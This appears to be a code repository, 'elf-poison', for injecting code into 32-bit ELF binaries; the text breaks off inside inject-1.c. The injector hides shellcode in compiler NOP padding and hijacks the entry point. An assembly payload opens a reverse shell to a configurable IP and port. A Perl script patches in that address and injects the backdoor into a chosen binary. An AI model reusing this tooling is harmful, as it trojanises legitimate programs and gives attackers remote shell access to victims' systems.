├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── example ├── ex1.asm └── ex1.pl ├── inject-1.c ├── inject-2.c └── lib ├── libdasm.c ├── libdasm.h └── opcode_tables.h /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | 5 | # Libraries 6 | *.lib 7 | *.a 8 | 9 | # Shared objects (inc. Windows DLLs) 10 | *.dll 11 | *.so 12 | *.so.* 13 | *.dylib 14 | 15 | # Executables 16 | *.exe 17 | *.out 18 | *.app 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: clean 2 | 3 | CFLAGS = -O2 -g -Wall -Wextra -Wwrite-strings -Wstrict-prototypes 4 | CFLAGS += -Wunreachable-code -Wuninitialized 5 | 6 | all: inject-1 inject-2 7 | 8 | inject-1: inject-1.c Makefile 9 | @ gcc inject-1.c -I lib lib/libdasm.c -o inject-1 10 | @ echo ' CC inject-1' 11 | 12 | inject-2: inject-2.c Makefile 13 | @ gcc $(CFLAGS) inject-2.c -o inject-2 14 | @ echo ' CC inject-2' 15 | clean: 16 | @ rm inject-1 inject-2 17 | @ echo ' CLEAN' 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | elf-poison 2 | ========== 3 | 4 | Proof Of Concept for inserting code in ELF binaries. 5 | -------------------------------------------------------------------------------- /example/ex1.asm: -------------------------------------------------------------------------------- 1 | global _start 2 | 3 | %define SOCKETCALL 102 4 | %define READ 3 5 | %define WRITE 4 6 | %define EXIT 1 7 | %define EXECV 11 8 | %define DUP2 63 9 | %define FORK 2 10 | %define SETSID 0x42 11 | %define CLOSE 6 12 | 13 | %define SYS_SOCKET 1 14 | %define SYS_CONNECT 3 15 | 16 | %define AF_INET 2 17 | %define SOCK_STREAM 1 18 | %define IPPROTO_TCP 6 19 | 20 | %define IP 0x76767676 21 | %define PORT 0x9696 22 | 23 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 24 | ;; entry point ;; 25 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 26 | section .text 27 | _start: 28 | pusha 29 | mov eax, FORK 30 | int 0x80 31 | cmp eax, 0 32 | jne .END 33 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 34 | ;; encrypted code ;; 35 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 36 | section .encrypted 37 | .SETSID: 38 | mov eax, SETSID 39 | int 0x80 40 | 41 | .SOCKET: 42 | push IPPROTO_TCP 43 | push SOCK_STREAM 44 | push AF_INET 45 | 46 | mov ecx, esp 47 | mov ebx, SYS_SOCKET 48 | mov eax, SOCKETCALL 49 | int 0x80 50 | 51 | add esp, 12 52 | mov esi, eax 53 | cmp eax, -1 54 | je .END 55 | 56 | .CONNECT: 57 | push IP 58 | push word PORT 59 | push word AF_INET 60 | mov eax, esp 61 | 62 | push 16 63 | push eax 64 | push esi 65 | 66 | mov ecx, esp 67 | mov ebx, SYS_CONNECT 68 | mov eax, SOCKETCALL 69 | int 0x80 70 | 71 | add esp, 20 72 | cmp eax, -1 73 | je .END 74 | 75 | .DUP2: 76 | mov ebx, esi 77 | xor ecx, ecx 78 | xor eax, eax 79 | mov al, DUP2 80 | int 0x80 81 | 82 | inc ecx 83 | xor eax, eax 84 | mov al, DUP2 85 | int 0x80 86 | 87 | inc ecx 88 | xor eax, eax 89 | mov al, DUP2 90 | int 0x80 91 | .EXECV: 92 | push 0 93 | push '//sh' 94 | push '/bin' 95 | mov ebx, esp 96 | 97 | push 0 98 | push ebx 99 | 100 | xor edx, edx 101 | mov ecx, esp 102 | mov eax, EXECV 103 | int 0x80 104 | 105 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 106 | ;; restore context ;; 107 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 108 | section .end 109 | .END: 110 | popa 111 | -------------------------------------------------------------------------------- /example/ex1.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use strict; 4 | use warnings; 5 | my $DOOOR_FILE = 'ex1'; 6 | 7 | die "[-] Usage : $0 \n" if(@ARGV != 3); 8 | 9 | my ($bin, $ip, $port) = @ARGV; 10 | my $code; 11 | 12 | print "[+] Compiling $DOOOR_FILE...\n"; 13 | compile_code(); 14 | 15 | print "[+] Extracting code...\n"; 16 | $code = extract_code(); 17 | 18 | print "[+] Code length : " . (length($code)/4) . "\n"; 19 | 20 | print "[+] Patching port ($port)...\n"; 21 | patch_port(); 22 | 23 | print "[+] Patching IP ($ip)...\n"; 24 | patch_ip(); 25 | 26 | print "[+] Inject code in $bin...\n"; 27 | inject_code(); 28 | 29 | sub inject_code { 30 | my @out; 31 | 32 | @out = `../inject-2 $bin "$code"`; 33 | print $_ foreach(@out); 34 | die "[-] inject failed\n" if($?); 35 | } 36 | 37 | sub patch_ip { 38 | 39 | my $addr = sprintf "\\x%.2x\\x%.2x\\x%.2x\\x%.2x", split(/\./, $ip); 40 | 41 | $code =~ s/\\x76\\x76\\x76\\x76/$addr/; 42 | } 43 | 44 | sub patch_port { 45 | my ($p1, $p2); 46 | 47 | ($p1,$p2) = unpack('CC', pack('n', $port)); 48 | $p1 = sprintf "\\x%.2x", $p1; 49 | $p2 = sprintf "\\x%.2x", $p2; 50 | 51 | $code =~ s/\\x96\\x96/$p1$p2/; 52 | } 53 | 54 | sub compile_code { 55 | `nasm -f elf $DOOOR_FILE.asm`; 56 | die "[-] Nasm failed !\n" if($?); 57 | `ld $DOOOR_FILE.o -o $DOOOR_FILE`; 58 | die "[-] Id failed !\n" if($?); 59 | } 60 | 61 | sub extract_code { 62 | my @line; 63 | my $code; 64 | 65 | @line = `objdump -d -j .text $DOOOR_FILE`; 66 | die "[-] Objdump failed !\n" if($?); 67 | 68 | foreach(@line) { 69 | if(m/^\s+\S+\s+(([0-9a-f]{2}\s)+)/) { 70 | foreach(split(/\s/, $1)) { 71 | $code .= '\\x' . $_; 72 | } 73 | } 74 | } 75 | 76 | @line = `objdump -d -j .encrypted $DOOOR_FILE`; 77 | die "[-] Objdump failed !\n" if($?); 78 | 79 | foreach(@line) { 80 | if(m/^\s+\S+\s+(([0-9a-f]{2}\s)+)/) { 81 | foreach(split(/\s/, $1)) { 82 | $code .= '\\x' . $_; 83 | } 84 | } 85 | } 86 | 87 | @line = `objdump -d -j .end $DOOOR_FILE`; 88 | die "[-] Objdump failed !\n" if($?); 89 | 90 | foreach(@line) { 91 | if(m/^\s+\S+\s+(([0-9a-f]{2}\s)+)/) { 92 | foreach(split(/\s/, $1)) { 93 | $code .= '\\x' . $_; 94 | } 95 | } 96 | } 97 | 98 | return $code; 99 | } 100 | -------------------------------------------------------------------------------- /inject-1.c: -------------------------------------------------------------------------------- 1 | /* Proof Of Concept : ELF32 code injection 2 | * Author : Tosh 3 | * 4 | * This program insert a code in ELF file without break 5 | * the host file. 6 | * 7 | * The code is executed when the program start and execution is 8 | * redirected to old entry point when it's finished. 9 | * 10 | * Code is splited and inserted in NOP padding used by the compiler 11 | * to alignement. 12 | * The splited code is then chained with jmps. 13 | * 14 | * Exemple : 15 | * $ cp /bin/ls . 16 | * 17 | * $ ./elfinject ./ls \ 18 | * > "\x60\x6a\x0a\x68\x6f\x21\x21\x21"\ 19 | * > "\x68\x48\x65\x6c\x6c\xb8\x04\x00"\ 20 | * > "\x00\x00\xbb\x01\x00\x00\x00\x89"\ 21 | * > "\xe1\xba\x09\x00\x00\x00\xcd\x80"\ 22 | * > "\x83\xc4\x0c\x61" 23 | * 24 | * 25 | * [+] Loading ELF in memory... 26 | * [+] Creating the CHUNKLST... 27 | * [+] CHUNKS: 35, TOTAL LENGTH: 219 28 | * [+] Creating the INSTRLST... 29 | * [+] Old entry point : 0x0804c090 30 | * [+] Inserting code in ELF... 31 | * [+] New entry : 0x0805532a 32 | * [+] Inserted code INFO : 33 | * OFFSET ADDR LEN INSTR 34 | * 0x0000d32a 0x0805532a 01 pusha 35 | * 0x0000d549 0x08055549 02 push byte 0xa 36 | * 0x0000a176 0x08052176 05 push dword 0x2121216f 37 | * 0x0000aa76 0x08052a76 05 push dword 0x6c6c6548 38 | * 0x00010f06 0x08058f06 05 mov eax,0x4 39 | * 0x00011376 0x08059376 05 mov ebx,0x1 40 | * 0x0000d869 0x08055869 02 mov ecx,esp 41 | * 0x0000ba55 0x08053a55 05 mov edx,0x9 42 | * 0x00001d17 0x08049d17 02 int 0x80 43 | * 0x00009af7 0x08051af7 03 add esp,0xc 44 | * 0x0000d7aa 0x080557aa 01 popa 45 | * [+] Freeing all structures... 46 | * [+] DONE. 47 | * 48 | * 49 | * $ ./ls 50 | * Hello!!! 51 | * elfinject inject.c libdasm.c libdasm.h ls opcode_tables.h 52 | * 53 | * 54 | * As you can see, your code is executed, and the host program run 55 | * correctly. 56 | */ 57 | 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include "libdasm.h" 72 | 73 | typedef struct ELF { 74 | Elf32_Ehdr *ehdr; 75 | Elf32_Phdr *phdr; 76 | Elf32_Shdr *shdr; 77 | uint8_t *data; 78 | uint32_t length; 79 | }ELF; 80 | 81 | typedef struct CHUNK { 82 | int used; 83 | uint32_t offset; 84 | uint32_t addr; 85 | uint32_t length; 86 | struct CHUNK *next; 87 | }CHUNK; 88 | 89 | typedef struct INSTR { 90 | char *inst; 91 | uint8_t *code; 92 | uint32_t length; 93 | uint32_t offset; 94 | uint32_t addr; 95 | struct INSTR *next; 96 | }INSTR; 97 | 98 | typedef struct LST { 99 | void *head; 100 | void *tail; 101 | }INSTRLST, CHUNKLST; 102 | 103 | #define JMP_LENGTH 5 104 | #define NOP 0x90 105 | #define JMP 0xe9 106 | #define RET 0xc3 107 | 108 | 109 | #define SYSCALL_FATAL_ERROR(...) do { \ 110 | fprintf(stderr, "[-] "); \ 111 | fprintf(stderr, __VA_ARGS__); \ 112 | fprintf(stderr, " : %s\n", strerror(errno)); \ 113 | exit(EXIT_FAILURE); \ 114 | }while(0) 115 | 116 | #define FATAL_ERROR(...) do { \ 117 | fprintf(stderr, "[-] "); \ 118 | fprintf(stderr, __VA_ARGS__); \ 119 | fprintf(stderr, "\n"); \ 120 | exit(EXIT_FAILURE); \ 121 | }while(0) 122 | 123 | #define INFO(...) do { \ 124 | fprintf(stdout, "[+] "); \ 125 | fprintf(stdout, __VA_ARGS__); \ 126 | fprintf(stdout, "\n"); \ 127 | }while(0) 128 | 129 | /*========================================================= 130 | = 131 | = Misc functions 132 | = 133 | ========================================================*/ 134 | /* Duplicate memory */ 135 | void* memdup(void *ptr, size_t len) { 136 | void *ret; 137 | 138 | if((ret = malloc(len)) == NULL) 139 | return NULL; 140 | 141 | memcpy(ret, ptr, len); 142 | 143 | return ret; 144 | } 145 | 146 | /* Calculate jmp */ 147 | uint32_t calc_jmp(uint32_t addr1, uint32_t addr2) { 148 | return addr2 - addr1; 149 | } 150 | 151 | /* Convert 'a' -> 10 */ 152 | int hex_to_dec(int c) { 153 | if(isdigit(c)) 154 | return c - '0'; 155 | if(c >= 'a' && c <= 'f') 156 | return (c - 'a') + 10; 157 | if(c >= 'A' && c <= 'F') 158 | return (c - 'A') + 10; 159 | 160 | return -1; 161 | } 162 | 163 | /* Test if char is in range [0-9a-fA-F] */ 164 | int is_hexa_char(int c) { 165 | return (isdigit(c) 166 | || (c >= 'a' && c <= 'f') 167 | || (c >= 'A' && c <= 'F')); 168 | } 169 | 170 | /* Convert "\x0a\x2c..." to raw data */ 171 | uint8_t* opcodes_to_data(char *str, uint32_t *length) { 172 | int i; 173 | uint8_t *data; 174 | 175 | i = 0; 176 | if((data = malloc(strlen(str) + 1)) == NULL) 177 | SYSCALL_FATAL_ERROR("Can't allocate data"); 178 | 179 | while(*str != '\0') { 180 | if(str[0] == '\\' && str[1] == 'x') { 181 | if(is_hexa_char(str[2]) && is_hexa_char(str[3])) { 182 | data[i] = hex_to_dec(str[2]) * 16; 183 | data[i] += hex_to_dec(str[3]); 184 | str += 3; 185 | } 186 | } else { 187 | data[i] = *str; 188 | } 189 | str++; 190 | i++; 191 | } 192 | *length = i; 193 | return data; 194 | } 195 | 196 | /*========================================================= 197 | = 198 | = ELF functions 199 | = 200 | ========================================================*/ 201 | 202 | /* Check ELF phdr table */ 203 | void ELF_checkPhdr(ELF *elf) { 204 | Elf32_Ehdr *ehdr; 205 | Elf32_Phdr *phdr; 206 | uint32_t i; 207 | 208 | ehdr = (Elf32_Ehdr*)elf->data; 209 | phdr = (Elf32_Phdr*)(elf->data + ehdr->e_phoff); 210 | 211 | for(i = 0; i < ehdr->e_phnum; i++) { 212 | if(phdr[i].p_offset >= elf->length) 213 | FATAL_ERROR("ELF: bad p_offset for segment %u", i); 214 | 215 | if(phdr[i].p_offset > 0xFFFFFFFF-phdr[i].p_filesz) 216 | FATAL_ERROR("ELF: overflow in p_offset for segment %u", i); 217 | 218 | if(phdr[i].p_offset + phdr[i].p_filesz > elf->length) 219 | FATAL_ERROR("ELF: bad p_filesz for segment %u", i); 220 | } 221 | } 222 | 223 | /* Check ELF file */ 224 | void ELF_check(ELF *elf) { 225 | Elf32_Ehdr *ehdr; 226 | 227 | if(elf->length < sizeof(Elf32_Ehdr)) 228 | FATAL_ERROR("ELF: bad length"); 229 | 230 | if(memcmp(elf->data, ELFMAG, SELFMAG)) 231 | FATAL_ERROR("ELF: bad ELFMAG"); 232 | 233 | ehdr = (Elf32_Ehdr*)elf->data; 234 | 235 | if(ehdr->e_ident[EI_CLASS] != ELFCLASS32) 236 | FATAL_ERROR("ELF: EI_CLASS not supported"); 237 | 238 | if(ehdr->e_phoff >= elf->length) 239 | FATAL_ERROR("ELF: bad e_phoff"); 240 | 241 | if(ehdr->e_phoff > 0xFFFFFFFF-(ehdr->e_phnum*sizeof(Elf32_Phdr))) 242 | FATAL_ERROR("ELF: overflow in e_phoff"); 243 | 244 | if(ehdr->e_phoff + ehdr->e_phnum*sizeof(Elf32_Phdr) >= elf->length) 245 | FATAL_ERROR("ELF: bad e_phoff"); 246 | 247 | ELF_checkPhdr(elf); 248 | } 249 | 250 | /* Mmap ELF in memory */ 251 | void ELF_load(ELF *elf, const char *filename) { 252 | struct stat st; 253 | int fd; 254 | 255 | if((fd = open(filename, O_RDWR)) < 0) 256 | SYSCALL_FATAL_ERROR("Can't open %s", filename); 257 | 258 | if(fstat(fd, &st) < 0) 259 | SYSCALL_FATAL_ERROR("Fstat failed"); 260 | 261 | elf->data = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); 262 | if(elf->data == MAP_FAILED) 263 | SYSCALL_FATAL_ERROR("Mmap failed"); 264 | 265 | elf->length = st.st_size; 266 | 267 | ELF_check(elf); 268 | 269 | elf->ehdr = (Elf32_Ehdr*)elf->data; 270 | elf->shdr = (Elf32_Shdr*)(elf->data + elf->ehdr->e_shoff); 271 | elf->phdr = (Elf32_Phdr*)(elf->data + elf->ehdr->e_phoff); 272 | 273 | close(fd); 274 | } 275 | 276 | 277 | /* Munmap file */ 278 | void ELF_unload(ELF *elf) { 279 | munmap(elf->data, elf->length); 280 | } 281 | 282 | /* Insert code in ELF */ 283 | void ELF_insCode(ELF *elf, INSTRLST *lst) { 284 | uint8_t jmp_code[JMP_LENGTH]; 285 | uint32_t jmp; 286 | INSTR *p; 287 | 288 | for(p = lst->head; p != NULL; p = p->next) { 289 | jmp_code[0] = JMP; 290 | 291 | if(p->next == NULL) { 292 | jmp = calc_jmp(p->addr + p->length + JMP_LENGTH, elf->ehdr->e_entry); 293 | memcpy(jmp_code + 1, &jmp, JMP_LENGTH-1); 294 | } else { 295 | jmp = calc_jmp(p->addr + p->length + JMP_LENGTH, p->next->addr); 296 | memcpy(jmp_code + 1, &jmp, JMP_LENGTH-1); 297 | } 298 | memcpy(elf->data+p->offset, p->code, p->length); 299 | memcpy(elf->data+p->offset+p->length, jmp_code, JMP_LENGTH); 300 | } 301 | 302 | if(lst->head != NULL) 303 | elf->ehdr->e_entry = ((INSTR*)lst->head)->addr; 304 | } 305 | 306 | /*========================================================= 307 | = 308 | = CHUNK functions 309 | = 310 | ========================================================*/ 311 | 312 | /* Free a chunk */ 313 | void CHUNK_free(CHUNK *chk) { 314 | free(chk); 315 | } 316 | 317 | /* Allocate a new chunk */ 318 | CHUNK* CHUNK_new(uint32_t addr, uint32_t offset, uint32_t length) { 319 | CHUNK *chk; 320 | 321 | if((chk = malloc(sizeof(CHUNK))) == NULL) 322 | SYSCALL_FATAL_ERROR("Malloc failed"); 323 | 324 | chk->addr = addr; 325 | chk->offset = offset; 326 | chk->length = length; 327 | chk->used = 0; 328 | chk->next = NULL; 329 | 330 | return chk; 331 | } 332 | 333 | /*========================================================= 334 | = 335 | = CHUNKLST functions 336 | = 337 | ========================================================*/ 338 | 339 | /* Free a CHUNKLST */ 340 | void CHUNKLST_free(CHUNKLST *lst) { 341 | CHUNK *p, *tmp; 342 | 343 | p = lst->head; 344 | 345 | while(p != NULL) { 346 | tmp = p->next; 347 | CHUNK_free(p); 348 | p = tmp; 349 | } 350 | free(lst); 351 | } 352 | 353 | /* Allocate a new chunk_lst */ 354 | CHUNKLST* CHUNKLST_new(void) { 355 | CHUNKLST *lst; 356 | 357 | if((lst = malloc(sizeof(CHUNKLST))) == NULL) 358 | SYSCALL_FATAL_ERROR("Can't allocate CHUNKLST"); 359 | 360 | lst->head = NULL; 361 | lst->tail = NULL; 362 | 363 | return lst; 364 | } 365 | 366 | /* Return the number of chunks */ 367 | uint32_t CHUNKLST_length(CHUNKLST *lst) { 368 | uint32_t length; 369 | CHUNK *p; 370 | 371 | length = 0; 372 | 373 | for(p = lst->head; p != NULL; p = p->next) { 374 | length++; 375 | } 376 | return length; 377 | } 378 | 379 | uint32_t CHUNKLST_totLength(CHUNKLST *lst) { 380 | uint32_t length; 381 | CHUNK *p; 382 | 383 | length = 0; 384 | 385 | for(p = lst->head; p != NULL; p = p->next) { 386 | length += p->length; 387 | } 388 | return length; 389 | } 390 | 391 | /* Print a chunk list */ 392 | void CHUNKLST_print(CHUNKLST *lst) { 393 | uint32_t total_length; 394 | uint32_t num; 395 | CHUNK *p; 396 | 397 | total_length = 0; 398 | num = 0; 399 | 400 | for(p = lst->head; p != NULL; p = p->next) { 401 | printf("%03d => 0x%.8x => %u\n", num+1, p->addr, p->length); 402 | total_length += p->length; 403 | num++; 404 | } 405 | printf("TOTAL length : %u\n", total_length); 406 | } 407 | 408 | /* Return the smallest chunk which match minimum length */ 409 | const CHUNK* CHUNKLST_getSmallest(CHUNKLST *lst, uint32_t length) { 410 | uint32_t cur_length; 411 | CHUNK *cur_chunk; 412 | CHUNK* p; 413 | 414 | cur_chunk = NULL; 415 | cur_length = 0xFFFFFFFF; 416 | 417 | for(p = lst->head; p != NULL && cur_length != length; p = p->next) { 418 | if(!p->used) { 419 | if(p->length >= length && p->length < cur_length) { 420 | cur_chunk = p; 421 | cur_length = p->length; 422 | } 423 | } 424 | } 425 | 426 | if(cur_chunk != NULL) 427 | cur_chunk->used = 1; 428 | 429 | return cur_chunk; 430 | } 431 | 432 | 433 | /* Insert a chunk at end of the list */ 434 | void CHUNKLST_insert(CHUNKLST *lst, CHUNK *chunk) { 435 | CHUNK *tail = lst->tail; 436 | 437 | if(lst->head == NULL) 438 | lst->head = chunk; 439 | if(tail == NULL) { 440 | lst->tail = chunk; 441 | } else { 442 | tail->next = chunk; 443 | lst->tail = chunk; 444 | } 445 | } 446 | 447 | /* Parse Phnum and store all chunks in CHUNKLST */ 448 | void CHUNKLST_parsePhnum(CHUNKLST *lst, ELF *elf, int phnum) { 449 | CHUNK *new; 450 | uint32_t i, length, j; 451 | Elf32_Phdr *ph; 452 | 453 | ph = &elf->phdr[phnum]; 454 | 455 | for(i = ph->p_offset; i < ph->p_filesz; i++) { 456 | length = 0; 457 | for(j = i; j < ph->p_filesz-1; j++) { 458 | /* xchg ax,ax */ 459 | if(elf->data[j] == 0x66 && elf->data[j+1] == 0x90) { 460 | length += 2; 461 | /* nop */ 462 | }else if(elf->data[j] == 0x90) { 463 | length += 1; 464 | } else { 465 | break; 466 | } 467 | } 468 | if(length > JMP_LENGTH) { 469 | new = CHUNK_new(ph->p_vaddr + i, ph->p_offset + i, length - JMP_LENGTH); 470 | CHUNKLST_insert(lst, new); 471 | } 472 | i = j; 473 | } 474 | } 475 | 476 | /* Parse ELF and store all chunks in CHUNKLST */ 477 | void CHUNKLST_parseElf(CHUNKLST *lst, ELF *elf) { 478 | int i; 479 | 480 | for(i = 0; i < elf->ehdr->e_phnum; i++) { 481 | if(elf->phdr[i].p_type == PT_LOAD) { 482 | if(elf->phdr[i].p_flags & PF_X) { 483 | CHUNKLST_parsePhnum(lst, elf, i); 484 | } 485 | } 486 | } 487 | } 488 | 489 | /*========================================================= 490 | = 491 | = INSTR functions 492 | = 493 | ========================================================*/ 494 | 495 | /* free INSTR */ 496 | void INSTR_free(INSTR *instr) { 497 | free(instr->code); 498 | free(instr->inst); 499 | free(instr); 500 | } 501 | 502 | /* Allocate a new INSTR */ 503 | INSTR* INSTR_new(uint8_t *code, uint32_t length, const char *inst, 504 | uint32_t addr, uint32_t offset) { 505 | INSTR *new; 506 | 507 | if((new = malloc(sizeof(INSTR))) == NULL) 508 | SYSCALL_FATAL_ERROR("Malloc failed"); 509 | 510 | new->code = memdup(code, length); 511 | new->length = length; 512 | new->inst = strdup(inst); 513 | new->offset = offset; 514 | new->addr = addr; 515 | new->next = NULL; 516 | 517 | return new; 518 | } 519 | 520 | /*========================================================= 521 | = 522 | = INSTRLST functions 523 | = 524 | ========================================================*/ 525 | 526 | /* Free a INSTRLST */ 527 | void INSTRLST_free(INSTRLST *lst) { 528 | INSTR *p, *tmp; 529 | 530 | p = lst->head; 531 | while(p != NULL) { 532 | tmp = p->next; 533 | INSTR_free(p); 534 | p = tmp; 535 | } 536 | free(lst); 537 | } 538 | 539 | /* Allocate a new INSTRLST */ 540 | INSTRLST* INSTRLST_new(void) { 541 | INSTRLST *lst; 542 | 543 | if((lst = malloc(sizeof(INSTRLST))) == NULL) 544 | SYSCALL_FATAL_ERROR("Malloc failed"); 545 | 546 | lst->tail = NULL; 547 | lst->head = NULL; 548 | 549 | return lst; 550 | } 551 | 552 | /* Insert a INSTR in INSTRLST at the end of the list*/ 553 | void INSTRLST_insert(INSTRLST *lst, INSTR *inst) { 554 | INSTR *tail = lst->tail; 555 | 556 | if(lst->head == NULL) 557 | lst->head = inst; 558 | if(lst->tail == NULL) { 559 | lst->tail = inst; 560 | } else { 561 | tail->next = inst; 562 | lst->tail = inst; 563 | } 564 | } 565 | 566 | void INSTRLST_parseCode(INSTRLST *lst, CHUNKLST *chklst, 567 | uint8_t *code, uint32_t length) { 568 | INSTRUCTION inst; 569 | char tmp[64]; 570 | uint32_t i; 571 | INSTR *new; 572 | const CHUNK *chk; 573 | 574 | i = 0; 575 | 576 | while(i < length) { 577 | get_instruction(&inst, code + i, MODE_32); 578 | if(inst.length == 0) 579 | FATAL_ERROR("Code seems to be bad"); 580 | 581 | chk = CHUNKLST_getSmallest(chklst, inst.length); 582 | if(chk == NULL) 583 | FATAL_ERROR("Code seems too long"); 584 | 585 | get_instruction_string(&inst, FORMAT_INTEL, 0, tmp, sizeof(tmp)); 586 | new = INSTR_new(code+i, inst.length, tmp, 587 | chk->addr, chk->offset); 588 | INSTRLST_insert(lst, new); 589 | i += inst.length; 590 | } 591 | } 592 | 593 | void INSTRLST_print(INSTRLST *lst) { 594 | INSTR *p; 595 | 596 | printf(" OFFSET ADDR LEN INSTR\n"); 597 | for(p = lst->head; p != NULL; p = p->next) { 598 | printf(" 0x%.8x 0x%.8x %02u %s\n", 599 | p->offset, p->addr, p->length, p->inst); 600 | } 601 | } 602 | /*========================================================= 603 | = 604 | = ENTRY functions 605 | = 606 | ========================================================*/ 607 | 608 | int main(int argc, char **argv) { 609 | uint8_t *sc; 610 | uint32_t sc_length; 611 | CHUNKLST *ch_lst; 612 | INSTRLST *in_lst; 613 | ELF elf; 614 | 615 | 